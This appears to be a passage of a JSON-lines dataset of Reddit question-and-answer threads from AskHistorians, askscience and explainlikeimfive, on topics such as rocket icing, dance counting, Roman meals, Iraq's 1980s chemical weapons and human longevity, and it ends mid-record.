{"q_id": "wpx28", "title": "Is modern American culture really more cynical than that of the early to mid 20th century?", "selftext": "To give an example of what I mean by \"cynical...\"\n\nThere seems to be this underlying assumption in modern culture that any contribution to our fabric of life such as works of art, music, movies, news articles, reddit comments etc are all made in order for profit, commercial interests, or fame to the person who created them. This means that we seem to inherently distrust those who make such things, especially celebrities and politicians.\n\nMany aspects of culture in the past were done for commercial purposes also, Woodstock for example, but I feel like those who came into Woodstock did so without wondering if they were being profited off of. Were there young people publicly decrying Woodstock as being a commercial venture at the time whose voices have now been ignored by the nostalgia-tinted glasses of the Boomer generation?\n\nSince the modern corporation has only existed for the past 150 years or so, I assume that the idea of large-scale branding is a relatively modern concept. Would this also meant that the idea of culture as a marketing tool is also fairly modern?\n\nWere the content creators of the pre-corporate era also looked upon so cynically? Were there people in the 18th century sneering that Haydn was only composing what he was composing to please his patron?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/wpx28/is_modern_american_culture_really_more_cynical/", "answers": {"a_id": ["c5fffbs", "c5fihji"], "score": [5, 3], "text": ["I'm going to focus on your title question.  It is largely accepted that consumer culture developed in the early 20th century in America (If you want to be more specific, think 1930's...the birth of corporate owned radio stations).  Around this time, and since then, corporations have been shoving products down our throats of various sizes, from clothing to cigarettes.  \n\nPerhaps the backlash from those who fancied free thinking took SOME time, but I assure you it was not long.  By the time the late 50's and 60's came to be, and television was becoming popular and easily accessible, most Americans could see through the ploy of consumer culture, and many cried out against it. \n\nObviously you would get the most vocal responses from those who had a bigger voice, such as celebrities, artists in particular.  When I say art, I mean visual as well as musically.  One that comes to mind immediately is Allan Ginsberg.  Read his poems from Howl (1955) if you are interested in one man with EXTREMELY cynical views about America.  ", "King Vidor's [The Crowd](_URL_0_) (1928) presents a very cynical view of the American dream."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/The_Crowd"]]}
{"q_id": "32hfbp", "title": "Why does ice form on the surface of spaceships right after launch?", "selftext": "Is it even ice?\n\nEdit: thank you for the kind responses! You guys and girls are great! ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/32hfbp/why_does_ice_form_on_the_surface_of_spaceships/", "answers": {"a_id": ["cqb8or8", "cqb927x", "cqb933k"], "score": [9, 140, 42], "text": ["Ice forms on the surface of rockets due to the extremely cold temperatures of cryonic fuels. You'll see this occur on any rocket stage that uses liquid hydrogen or liquid oxygen. The low temperature of the fuel cools the surface of the stage and the water vapor in the air freezes to the surface. Once the engines ignite the vibration knocks the ice off the stage. ", "The ice layer does not form *right after launch* but *shortly before...*  \nThis typically and only happens with cryogenic stages, which are filled with liquid hydrogen and/or liquid oxygen propellants shortly before launch. Extreme cooling down of the stage's outside surface makes air moisture condense and freeze on the stage's surface.", "It is indeed ice, and it starts forming as soon as they fuel up the rocket. Liquid oxygen is a very common oxidizer component of a liquid-fueled rocket engine, and it's extremely cold. There's not much point in putting in a lot of insulation around the tank - the LOX isn't going to be in there that long, and insulation just adds weight that you have to haul up off the ground. So ice forms on the outer skin of the rocket, and it shakes off as soon as the engines start up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "63ipq4", "title": "Is there any evidence that long-term sleep deprivation can decrease eyesight or visual acuity?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/63ipq4/is_there_any_evidence_that_longterm_sleep/", "answers": {"a_id": ["dfussap", "dfxtj1i"], "score": [3, 2], "text": ["Your eyesight depends a lot on small accurate control of muscles to focus and move your eyes properly. When you're sleep deprived such fine motor contril degrades, which is why you can get that bleary and blurry feeling when looking around and exhausted.", "I'm not aware of this having ever been examined in a longitudinal study."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3a18ge", "title": "Was the Transcontinential Railroad ever sabotaged? If so by whom and why?", "selftext": "It seems given that it had hundreds of miles of unguarded railroad that it could in fact be sabotaged.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3a18ge/was_the_transcontinential_railroad_ever_sabotaged/", "answers": {"a_id": ["cs8d1a9"], "score": [12], "text": ["Though its completion was cause for celebration, the line was not a unique and prominent piece of infrastructure for very long.  It was merely one line of track among many thousands of miles that crisscrossed the continent, and by 1900 only railroad buffs would even know which lines made up the original route.\n\nSabotage of railroad lines was occasionally discussed in connection with railroad labor disputes around the turn of the 20th century, and for that reason railroads being struck would often decide it was safest not to run any trains even if they had sufficient supervisory personnel to could do so."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2xoodm", "title": "How is it possible that 2 protons give you gas (Helium) but 3 suddenly makes it metal (Lithium)?", "selftext": "Kind of titlegore, but I don't quite understand, what makes for example Lithium metal?\n\nIf I were able to modify an atom core by adding/removing protons and I would take an atom of Helium, add another proton, would I suddenly get an atom of Lithium?\n\nI'm very interested in what gives elements their properties on atomic level - why are 2 protons gas and suddenly, the next exlement with 3 protons in periodic table is metal?\n\nThanks", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2xoodm/how_is_it_possible_that_2_protons_give_you_gas/", "answers": {"a_id": ["cp1zj14", "cp2082g"], "score": [10, 4], "text": ["First, to answer your question on transmutation: yes, you can convert helium into lithium by adding a proton (although the reaction is highly improbable and unfavourable).  It'd be much easier to produce lithium via a fusion reaction pathway.  \n\nNuclear physics very rarely has any influence on macroscopic properties (e.g. bulk state); the only way it does is by making a bulk sample radioactive.  Phase (e.g. gas vs solid) is based entirely on the intermolecular forces between atoms in a sample.  If the kinetic energy of atoms (i.e. the entropy) is high relative to the forces pulling them together: then you'll get a gas, and if the opposite is true then you'll get a solid.  \n\nThe difference between lithium and helium can be understood in terms of the atomic shell model.  Helium contains a full orbital of valence electrons (the l = 0, n = 1 or '1s' shell), where-as lithium has an extra electron in the next shell up (the l = 0, n = 2 or '2s' shell).  Having full shells makes an atom stable and weakly-interacting (leading to a gas), whereas having a partially empty shell leads to a strong desire to gain or lose electrons.  In a bulk state helium doesn't bother sharing any electrons with other helium atoms, and instead just acts like a billiard ball: bouncing off of other helium atoms.  On the other hand, lithium solves its electronic shell issue by sharing electrons in the bulk state: leading to a metal composed of many lithium atoms all sharing electrons.\n\nFinally, let me note that there is an analogous shell model for nuclear physics which is typically good at predicting nuclear properties (not quite as good as the atomic shell model).  One can predict that helium-4 is a much more stable nucleus than lithium-5 by noting that the 1s shell is filled by 2 neutrons and 2 protons (one shell for neutrons, one for protons), which would leave lithium-5 with an extra proton in the next shell up.", "To understand this you first need to understand why H2 molecules form instead of existing as atomic hydrogen. If the electrons have a high probability of being in-between the atoms it would be a bonding state. In H2+ there is one electron and at most temperature conditions the one electron goes into a bonding state, as opposed to an anti-bonding state because the bonding states have lower free energy associated with them.\nH2 has both of its electrons go into bonding states. So it is stable as H2 which is light enough to be a gas.\n\nHe2+ would have 2 electrons go into bonding states. There isn't another bonding state available at the low energy so the third electron would go into an anti-bonding state. This He2+ would still be stable as there would be more bonding electrons than anti-bonding electrons. \nHe2 doesn't commonly exist in nature as 2 electrons would go into the bonding state and 2 would go into anti-bonding states. This does not stick. The 2He atoms would be at lower free energies if they didn't bond.\nNow to explain Li being a metal we have a similar structure of He2+ where if there were only 2 atoms, 4 electrons would be bonding and 2 would be free to roam almost freely (kept near the atoms due to electric potential).  \nAt more Li atoms are added to the system, there is a lower free energy for them to bond together leaving one un-bonded electron for each Li atom. These free electrons can move around the crystal and give rise to the electronic properties of metals. \nIt goes a lot more in depth than this and this explanation is simplified so I don't have to explain quantum physics. Hope this helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "27w3wm", "title": "why is everyone hysterical about the name of the washington redskins", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27w3wm/eli5_why_is_everyone_hysterical_about_the_name_of/", "answers": {"a_id": ["ci4xo0r", "ci4xokr"], "score": [2, 2], "text": ["Some people have nothing better to do than complain.", "\"Redskins\" is more offensive than the others you listed. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "b56va2", "title": "how does a vape produce vapour/smoke from just e-liquid and a coil?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b56va2/eli5_how_does_a_vape_produce_vapoursmoke_from/", "answers": {"a_id": ["ejbl0qy"], "score": [3], "text": ["The same reason that if you put water onto something hot it turns to steam it's just a change of state... Come on son"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3hkwft", "title": "why do dancers count '5, 6, 7, 8', instead of '1, 2, 3, 4' as in music?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hkwft/eli5_why_do_dancers_count_5_6_7_8_instead_of_1_2/", "answers": {"a_id": ["cu87hi4", "cu88uon", "cu89ph6", "cu8al2c", "cu8ao17", "cu8b4xz", "cu8blta", "cu8bq0r", "cu8chyo", "cu8dhtk", "cu8f2nu", "cu8h6hy", "cu8isa3", "cu8j1e7", "cu8jgc4", "cu8llpg", "cu8m78r"], "score": [2569, 7, 2, 68, 7, 11, 21, 4, 2, 53, 2, 2, 3, 2, 2, 4, 2], "text": ["Dancers often use 8 count bars/measures of music, meaning their moves are broken down in 8 counts or 1, 2, 3, 4, 5, 6, 7, and 8.  They will count 5, 6, 7, 8 out loud as a countdown to begin together on 1.  You wouldn't count 1, 2, 3, 4 because you don't want to start on 5.", "You will typically have a two measure, 8 beat lead up to any significant change up, so the last four beats are going to be the most significant to get the timing right.", "1, 2, 3, 4 is also often used to indicate a series of steps in a dance. Starting at 5 indicates that it is the latter half of an 8 count, to start the show.", "Its the last half of a measure as people have said, but the fact that the number 7 has two syllables is important too - it gives the dancers an indication of any kind of swing to the rhythm. ", "In dance class we want to start dancing together just like a band wants to start playing together. However, since most dances are 8 count moves it's a lot faster to skip 1-4 and just count in with 5-8. \n\nIt's 1, 2, 3, 4, 5, 6, 7, 8, vs just 5, 6, 7, 8. We get counted in a lot so that's a big time saver. ", "Salsero here. As a dancing leader I start counting from 5,6,7,8 so the following partner would know and get ready when 1,2,3,4 begins and she wouldn't be too surprised and stumbled when I start leading on 1,2,3,4. Basically it's a prep.", "Because dancing uses an 8-count.  If you count 1,2,3,4, you'll have to wait four more beats (5,6,7,8) for \"the 1\" so you can begin your steps.  ", "In dancing, you usually want your movements to reflect the downbeats to add emphasis to each musical phrase - like a comma or a period in a sentence.  In most cases, an 8 count is a whole 'sentence' - with 2 'phrases' or measures (4/4 x 2). You'd want to end most moves on that 'period' - beat #8 - and start a new pattern on 1.\n\nWhen you're choreographing, you want the dance moves fit into the musical phrasing. If you listen to 4/4 music, you'd hear downbeats (the parts you usually want to bob your head to) on beats 1 and 3, with 1 having a stronger stress. In a complete 8 count, the 1's still have a stronger stress than the 5's (the second phrase).  In music, you would usually hear the vocals or instruments changing on the 1's.\n\nFor waltzes, (3/4 beats, or 6/8 in Viennese Waltz), the phrasing comes every 3 beats.\n\nEdit: re-clarifying and correcting VW to 6/8", "Dancers first step should be on count 1, so they hold for 5,6,7,8 and being the dance with 1,2,3,4,5,6,7,8 and so on. ", "The misconception here is that \"5 6 7 8\" is arbitrary or SHOULD be \"1 2 3 4.\"\n\nIt entirely depends on the pulse of whatever you're synching up with. If you're dancing to 4/4, you do not count in 5/6/7/8 unless the 2 bar phrase matters.\n\nIt usually does, as most dancing that isn't in a triplet feel is 2+ bar loops.\n\nSimple example is you WOULD NOT start \"5 6 7 8\" if your next 8 counts are \"1 2 3 4, 1 2 3 4\"\n\nyou WOULD start \"5 6 7 8\" if your next 8 counts are \"1 2 3 4, 5 6 7 8\"\n\nYou would follow that up as such, for bar counters:\n\n1 2 3 4, 2 2 3 4, 3 2 3 4, 4 2 3 4 versus\n1 2 3 4 5 6 7 8 , 2 2 3 4 5 6 7 8\n\n\n", "[This New York Times article](_URL_0_) gives specific credit for the use of \"5, 6, 7, 8\" to famed dancer and choreographer Luigi (aka Eugene Louis Fucciolo), replying to band leader Dominic Frontiere's count of \"1, 2, 3, 4,\" the latter's attempt to help keep Luigi in time with the other dancers. ", "I come from a background of ballroom dance so this might not apply to other forms.  The reason we count to 8 in 4/4 music is because although there are 4 beats per measure the \"hit\" if the music doesn't start again until the 3rd measure.  If you were to take Cha Cha as an example whose music is in 4/4 time, the main hit is on every odd measure. Which means I want to start a new sequence after 8 beats which is easier to count than keeping track of whether I have counted to 4 an even amount of times or an odd amount of times.", "Am I the only one hearing A Chorus Line in my head now? \nProbably. :/", "Just some points to clarify: the numbers are *not* counting or labeling the dance moves. the numbers are counting to the beat of the music (usually in groups of 8) and will maintain the same speed:\n\n1 . 2 . 3 . 4 . 5 . 6 . 7 . 8 . instead of\n\n1 . . . . . 2 . 3 . . . 4 . 5 6 7 . . 8 \n\nOften choreography will start at the first beat, so: 1. The \"5, 6, 7, 8\" acts as a sort of \"on your marks... get set...\" And then they would start the dance on 1.\n\nThe way \"5, 6, 7, 8\" is said will also gives you a feel for how fast or slow the music (and choreography) will be. So, \"fivesixseveneight\" will be something really quick vs \"five . . . . six . . . . seven . . . .eight . . . .\"", "This is more like ELI a musician, instead of an ELI5.  \n\nIn music terms, dancers generally think in terms of 2 measure phrases (for general 4/4 songs).  So rather than counting in 4s they combine them in to 8s.  1-2-3-4 (end of first measure) 5-6-7-8 (end of second measure).\n", "As a dance teacher (Balboa and Lindy Hop) it's most definitely as some other people mentioned about the dance being base-8 (we tend to count to 8 then start again) and not base-4.\n\nIf you listen to Swing music we dance to, you'll find it follows that musical phrasing (check out [Lionel Hampton - Flying Home](_URL_0_) and count to the music), you'll see the back-to-back repeating chunks are actually eight counts, not four, and that's how Swing dancers phrase their dancing.\n\nIn the clip mentioned above, by about 0:19 seconds, Swing dancers will have counted 4 phrases, while musicians will have counted 8.\n\nDisclaimer: Swing dancers should really treat the dance as base-2 but that's hardly going to go down well as an ELI5 :)", "Every single person here did not explain this like the reader is five. \nThese explinations are all for music professors."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], ["http://www.nytimes.com/2001/04/15/nyregion/in-person-never-stop-moving.html"], [], [], [], [], ["https://www.youtube.com/watch?v=R_rTICMVXQQ"], []]}
{"q_id": "3xanqd", "title": "if nfl coaches are instructed to challenge a play from people upstairs with video playback how is it possible to ever lose a challenge?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xanqd/eli5_if_nfl_coaches_are_instructed_to_challenge_a/", "answers": {"a_id": ["cy2z5ow"], "score": [2], "text": ["Well they only get until the next play begins. That usually gives the coach roughly 15 seconds to challenge a play. That is generally just enough time for the booth upstairs to watch the play once maybe twice. \n\nSo they get a good idea of the play's outcome, but they don't have enough time to be certain"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ga4u6", "title": "Why does my internet connection slow down when it rains?", "selftext": "Satellite Uplink Obscured by Clouds??", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ga4u6/why_does_my_internet_connection_slow_down_when_it/", "answers": {"a_id": ["c1m57ob"], "score": [2], "text": ["I would guess higher usage leads to slower speeds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "37yked", "title": "How much variation is there in the \"220 minus your age\" rule-of-thumb for max heart rate?", "selftext": "Is this physiologically derived, or just empirical?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/37yked/how_much_variation_is_there_in_the_220_minus_your/", "answers": {"a_id": ["crqvjdk", "crqy78q", "crqyh7g", "crr33c8", "crr3rie"], "score": [171, 21, 18, 7, 11], "text": ["\"Maximum heart rate of trained men studied is remarkably constant... having a coefficient of variation of 3.5%\" - _URL_0_\n\nThis means that if the average max HR for males the same age was around 195bpm, the standard deviation would be around 7 bpm. This means that only 68% of males in the same age bracket would have a max HR between 188  &  202.\n\nLooks like 220 - age is actually pretty inaccurate, which is what I would have expected. Its a rough guide used to quickly determining someones physical ability without performing any extensive testing, **KIND OF** like BMI (this is not to say BMI is useless. BMI is infact very VERY useful when analysing large populations or gathering information about a person quickly, and contrary to popular belief is not considered redundant)", "TL;DR  It's a reasonable estimate for young adults, but it has some flaws.   \n\n\nMax heart rate is part of a circular argument that goes something like this:  \nMaximum heart rate in some studies is approximately 220-age.  \nCardiovascular limitation is common.  \nMaximum heart rate in the study is therefore maximum heart rate for the population.    \n\nIt underestimates maximum heart rate in older individuals, where people often use 210 - (age x 2/3).  \n\nA less trained individual subject can increase maximum heart rate through regular exercise.  \n\nIt may overestimate maximum heart rate for women. (Have seen only one study that properly tried to answer that question.) ", "[Tanaka et al.](_URL_0_ ) asked pretty much exactly your question (in 2001) and performed a meta-analysis to derive a group mean HRmax including 18,712 subjects and found their \n >  \"HRmax was strongly related to age (r = \u22120.90), using the equation of 208 \u2212 0.7 \u00d7 age.\" \n\nAfterwards, they cross-validated their new equation with a lab-based study of 514 subjects whose mean HRmax corresponded quite well to 209-0,7 x age. They conclude:\n >  1) A regression equation to predict HRmax is 208 \u2212 0.7 \u00d7 age in healthy adults. 2) HRmax is predicted, to a large extent, by age alone and is independent of gender and habitual physical activity status. Our findings suggest that the currently used equation underestimates HRmax in older adults. This would have the effect of underestimating the true level of physical stress imposed during exercise testing and the appropriate intensity of prescribed exercise programs.", "I work as a medic. It's used as a general guide and it's not going to be specific, as each person is different. But, it's a quick estimate, and easy to do in your head. Different things cause it to go up (exercise, caffeine, energy drinks/pills, certain heart abnormalities) On the ambulance, I've seen rates in the 250's. We use this rule to indicate an abnormally elevated rate, and the need for meds or a shock to get it back to normal. If it stays too high too long, the heart will give out.", "Guys your own personal pulse information is cool but please avoid anecdotes here!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://jap.physiology.org/content/14/6/927"], [], ["http://content.onlinejacc.org/article.aspx?articleid=1126908"], [], []]}
{"q_id": "7meghe", "title": "what is strategic debt restructuring? and how does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7meghe/eli5what_is_strategic_debt_restructuring_and_how/", "answers": {"a_id": ["drtd78b"], "score": [2], "text": ["the short version is, that if a company is having problems repaying a debt to a bank (or as the bank calls it a \"non-performing loan\" ), then instead of paying money to the bank (an advance on the loan), the bank may give the company the option of \"paying\" an equivalent value of shares, (so the bank now owns a portion of the company). \n\nthis means that the bank now has a vested interest in helping the company to perform, AND if the amount they own is significant enough, the ability to push through changes. \n\ntheoretically, once the company starts performing again, the value of the shares goes up, and they get back more than they invested. \n\nit's also theoretically supposed to increase volatility in the market, and promote mergers and acquisitions among non performing companies.   \n\nthere's evidence that this does and doesn't work, because it effectively re-produces the .com bubble..  ie, if the problem with the company is *not* *within* *the* *company* then all that happens is that when the company eventually fails, there's no resources left. \n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7700g7", "title": "Did the ancient Romans really only eat one meal a day?", "selftext": "This article cites a food historian who says the Romans only ate one meal a day: _URL_0_\n\n\"The Romans believed it was healthier to eat only one meal a day,\" she says. \"They were obsessed with digestion and eating more than one meal was considered a form of gluttony. This thinking impacted on the way people ate for a very long time.\"\n\nYet I've found multiple references to Romans eating three meals a day. Can you sort out the confusion?\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7700g7/did_the_ancient_romans_really_only_eat_one_meal_a/", "answers": {"a_id": ["doiglym", "doitcsw"], "score": [35, 639], "text": ["Can you link to the sources where you have found that they are three meals a day? ", "Ok, I'm seeing a lot of speculation here (including some weird stuff about yogurt, for which there isn't even a word in Latin) and no reference or discussion to any of the texts, ancient or modern. Food is hardly in my specific purview, but I know the ancient world and more importantly I know the texts; lest this madness continue any further I will be forced to take the field. \n\nIf we define a meal as the consumption of food and drink at a (roughly) set time of the day then we can find references in the texts to three or even four meals quite easily. As early as Plautus the Romans were taking a *ientaculum* (the word is a diminutive derived from \"hungry\" or \"fasting\"). In Plautus' time this was probably still being followed by *cena*, then *vesperna*, an evening meal. Sometime before the late Republic this changed. Lewis  &  Short cite the epitome of Paulus:\n\n > cena apud antiquos dicebatur quod nunc est prandium. Vesperna, quam nunc cenam appellamus\n\n >  > Among the ancients what now is *prandium* was called *cena*. And *vesperna* what we now call *cena*. \n\nPlautus makes reference to a *merenda* (mentioned by Paulus and others), which was some kind of light afternoon meal. But the point remains that to cultured society--what Romans might have termed \"civilized\"--there was one major meal of the day, *cena*. To the Roman mind, influenced by Greek (post-Homeric, as in Homer there are three meals) ideas of commensality, especially prized the evening meal, which grew in size among the educated, wealthy class and took on a decidedly sympotic character: what the symposium was (culturally, at least) to the Greeks, so the *cena* was to the Romans. The earlier meals--*ientaculum* and, by the late Republic, *prandium*--were light affairs, and while like the Greeks the Romans reclined at table in the company of their peers these earlier meals were not even necessarily eaten sitting down, much less reclining. If one now redefines our definition of a meal to an occasion of (at least potential) commensality, then the earlier meals are relegated to little more than snacks, which while not equivalent to the Romans' perception is possibly a little closer than thinking of them as the same thing as the *cena*. \n\nThe Appendix Vergiliana preserves for us a poem mentioning *moretum*, a sort of paste containing garlic, vinegar, oil, and other ingredients that apparently rural farmers ate sometimes--the poem's subject is the farmer preparing his breakfast. This leads us into the greater question of \"ordinary\" eating habits, which is where the texts begin to fail us somewhat. The diet and eating habits of the rural *plebs*, as far as we can tell from references in the texts and bucolic poetry and stuff like that, probably followed a relatively old-fashioned--obviously frugal--habit, eating whatever was in season from the produce of their farms and so forth. Of the urban *plebs* probably we can speak a little more definitely (or I can at least). The dwellings of the urban *plebs*, the horrifically cramped and dangerous *insulae* of the city, contained as a rule no hearths. Therefore, the urban *plebs* by necessity ate out-of-doors (there was little light in their windowless cells anyway) and did not cook for themselves. Sometimes they attended the dinners of their wealthy patrons (for all of this see Garnsey's triple books *Famine and Food Supply in the Graeco-Roman World*; *Cities, Peasants and Food in Classical Antiquity*; and *Food and Society in Classical Antiquity*), but most often they survived on little but grain alone. The role of grain as the staple of the ancient diet cannot be understated (and there's more than one book or article on it: see \"\u03c3\u03b9\u03c4\u03bf\u03bc\u03b5\u03c4\u03c1\u03b5\u03af\u03b1: The Role of Grain as a Staple Food in Classical Antiquity\"). The Roman urban *plebs* in particular survived pretty much wholly on grain. The grain market was so crucial that minor fluctuations in the price of grain, caused either by suppliers hoarding their grain (and trading in grain futures) or by actual naturally bad harvests, could cause mass hunger in the city. Apart from the state-subsidized grain (which was never enough to feed a family), free after 58 but greatly cut back in scope by Augustus, who turned it into a hereditary privilege, the price of grain needed to be stabilized, as it was in the early Principate. Since the urban *plebs* had no hearths they relied on outside ovens to bake their bread, either at communal ovens or by paying bakers to bake their grain. More usually, however, they ate any manner of wheat or barley mash, made up into a kind of porridge, *alica* or *puls*, into which perhaps some raisins, scraps of meat, or a few vegetables might be added. That the Roman *plebs* had little time to sit around eating is quite clear--all our modern research has abandoned the notion of the \"idle *plebs*\" in favor of an urban population suffering heavily from malnutrition and disease, dominated by semi-itinerant day-workers who were forced to hunt for work or starve, and needed to be working pretty much all the time to be able to feed themselves. "]}, "title_urls": [], "selftext_urls": ["http://www.bbc.com/news/magazine-20243692"], "answers_urls": [[], []]}
{"q_id": "1mwzan", "title": "Did the U.S. provide chemical or biological weapons to Iraq in the 80s?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1mwzan/did_the_us_provide_chemical_or_biological_weapons/", "answers": {"a_id": ["ccdidca", "ccdk2nu"], "score": [32, 8], "text": ["No, the US government never supplied either biological or chemical weapons to Iraq. US companies may have supplied material for such weapons, along with many other nations, including France and Germany. \n\nThe Iraqi chemical weapons program began in the 1960s, in response to Israel's development of chemical weapons. By 1980, it had weaponised mustard gas, and it had begun developing nerve agents by 1982. The first recorded use of chemical weapons was in 1983, against Kurdish and Iranian forces who had captured the border town of Haj Omran. (Kurdish sources have claimed that chemical weapons were first used during the 1970s, but I've never come across any solid documentation of this.) It's worth noting that the Iraqis had chemical weapons before the US began its diplomatic pivot towards Iraq, prompted by its enmity towards Iran. \n\nWhile it is indisputable that the US provided large amounts of material aid to Saddam during the Iran-Iraq War, most prominently in the form of agricultural credits, I have never come across any evidence of the government supplying actual chemical or biological weapons to the Iraqis.  However, it's likely that US companies did supply the materials for such weapons; again, though, this was not a purely American enterprise - many nations supplied Saddam with weapons.  \n\nThe main form of US support given to the Iraqis in regards to their use of chemical weapons during the Iran-Iraq War was in the form of obfuscation and denial. When it became undeniable that Iraq was using chemical weapons, the US released statements calling on *both* sides to stop using them - even though no evidence has ever emerged of Iran using chemical weapons. Similarly, after the most infamous chemical attack, the gassing of thousands of Kurdish civilians at Halabja in 1988, the US attempted to blame Iran, through selective leaking of doctored reports. Again, there was *absolutely no evidence* for this, but it's a lie that has had a surprisingly long life - it was first promoted by the Reagan administration, was then taken up by sections of the anti-war left in 2003, and continues to be found in some dark corners of the internet. Its chief promoter is Stephen Pelletiere, the David Irving of Iraqi/Kurdish history.\n\nThere were many other instances of US support for Iraq during the 1980-88 war, but I tried to keep this focussed on chemical weapons. I hope that this answers your questions.\n\nMy main sources for this are *A Poisonous Affair: America, Iraq and the Gassing of Halabja* by Joost Hiltermann - the definitive account of Iraq's chemical weapons program and US complicity - and Samantha Power's *A Problem from Hell*, which has an excellent chapter on US reaction - or lack of - to Iraq's use of chemical weapons (amongst other horrors) during the Anfal genocide. ", "/u/Askinboutnewfoundlan's answer seems to cover pretty much everything. One thing I would add, though, is that although the US government did not supply Iraq with weapons, it not only turned a blind eye to Iraqi importations of chemical weapons components, but came up with excuses to allow the importation of those products into Iraq despite international treaties to the contrary.\n\nAccording to Robert Fisk's book *\"The Great War for Civilization\"* the chemicals used to make ink for ball-point pens, thiodiglycol, can also be used to make mustard gas. When Iraq was at war with Iran it ordered a number of shipments of this chemical from companies both in the US and elsewhere. These shipments were allowed to be delivered, using the justification that, although the *could* be used to used to make mustard gas, they could also be used for pen ink, so it's not necessarily a shipment of chemical weapon components.\n\nThis same argument was apparently used also after the 1991 Gulf War - just in reverse. Since pens contained an ingredient that could be used to make chemical weapons, shipments of pens to Iraq were forbidden."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "reajn", "title": "I have heard that the first human to live to 1000 has already been born. Is this possible?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/reajn/i_have_heard_that_the_first_human_to_live_to_1000/", "answers": {"a_id": ["c4541ec", "c4547hd", "c4547zo", "c454e0o", "c455m8u", "c456448"], "score": [138, 22, 17, 7, 5, 7], "text": ["When people make statements like this, what they are saying is that they expect the pace of medical advancement has outpaced the rate of aging. So that somebody who was just born and is lucky to live to a 100 years or so, will then be able to take advantage of hypothetically advanced medical science to extend their life even further. If you keep that thought process going, they can reach a 1000.\n\nIts all speculation and BS, and doesn't mean anything.", "It is not out of the realm of possibility, but doesn't seem like a sure thing.\n\nAverage life expectancy has increased by many years, in the last 100 (or 500) years, but this is often a misleading statistic. We've gotten a lot better about treating diseases and life conditions that kill off children, meaning more people live to old age, raising the average. The actual life expectancy of someone who makes it old age has not improved nearly as much. The fact of the matter is that we just haven't cracked how to stop aging yet, and until we do, we will continue to see only small, incremental improvement as the medical body of knowledge expands.\n\nHowever, if we *do* crack aging, figure out its exact mechanisms and how to delay or halt them, the age limit will be defined solely by the incidence of disease or accident and our abilities to treat them -- which, as I stated before, are steadily improving. In this scenario, it seems possible that in the next 100 years, we could crack aging, and therefore somebody who's alive in that timespan could continue indefinitely.\n\nThis is a pretty big \"if\", it's not at all clear that it's within our grasps.", "If man could live a thousand years, how would the brain deal with all memories?", "There's no fundamental biological reason why a human could not live to be 1000 or more.  There are physiological processes that tend to limit lifetimes to 70-80, but I don't believe these to be insurmountable.  DNA damage can be prevented, repair processes can be made more efficient, and cells under the right conditions can replicate indefinitely.\n\nHowever, no one has actually shown convincingly how the many complex processes involved in aging can be modified to produce extreme longevity.  The best we've seen so far is via extreme calorie restriction, which can extend lifetimes up to 30%.\n\nSo,I'd say those who claim current humans can live to 1,000 are wishful thinkers.  I wouldn't go so far as to call them crackpots, but there's no reason to believe we are that close to solving the aging problem.\n", "I guess the question is - can we develop the medicine to stop the aging process.\n\nIn some ways, we already have.  Scientists have successfully 'grown' Kidneys and livers from stem cells.  They even 'built' a fully functioning Rat heart.  Dr. Anthony Atala, a researcher at Wake Forrest has seen success in 'growing' bladders and less complex body parts, and is looking to expand that ability to say, hearts and even limbs.  Though, even he admits while it's a possibility, he probably won't see wholesale replacement of body parts in his lifetime.\n\nStill, what if someday we could simply replace old parts of our body?  Obviously, there are a lot of logistical issues and there is also the problem of keeping the brain at a relatively young age.  What is the point of having the body of a 20 year old when your mind is gone from decades of age?\n\nThe SENS approach, which Dr. Atala is a part of, seeks to repair the damages to cells which cause aging.  When I initially learned about SENS, I was *quite* skeptical.  However, reading more about it and learning of those who are involved with it and similar fields of medicine have made it much less of a 'snake oil' science and have legitimized it in my mind (whether or not it will be viable in my lifetime is a different story)  I am not a scientist, so I cannot comment on the legitimacy of what is being said.  All my information comes from people who are either for or against this field of medicine.  However, given the people who support it, I am inclined to think at the very least that it is a legitimate field of science.  ", "This claim was most famously made by Aubrey De Grey and the Methuselah Foundation.\n\nI'm not entirely convinced yet, but in case you wanna see what your coworker was probably talking about, [here's the TED talk in which he goes into greater detail about why he thinks this is possible](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], 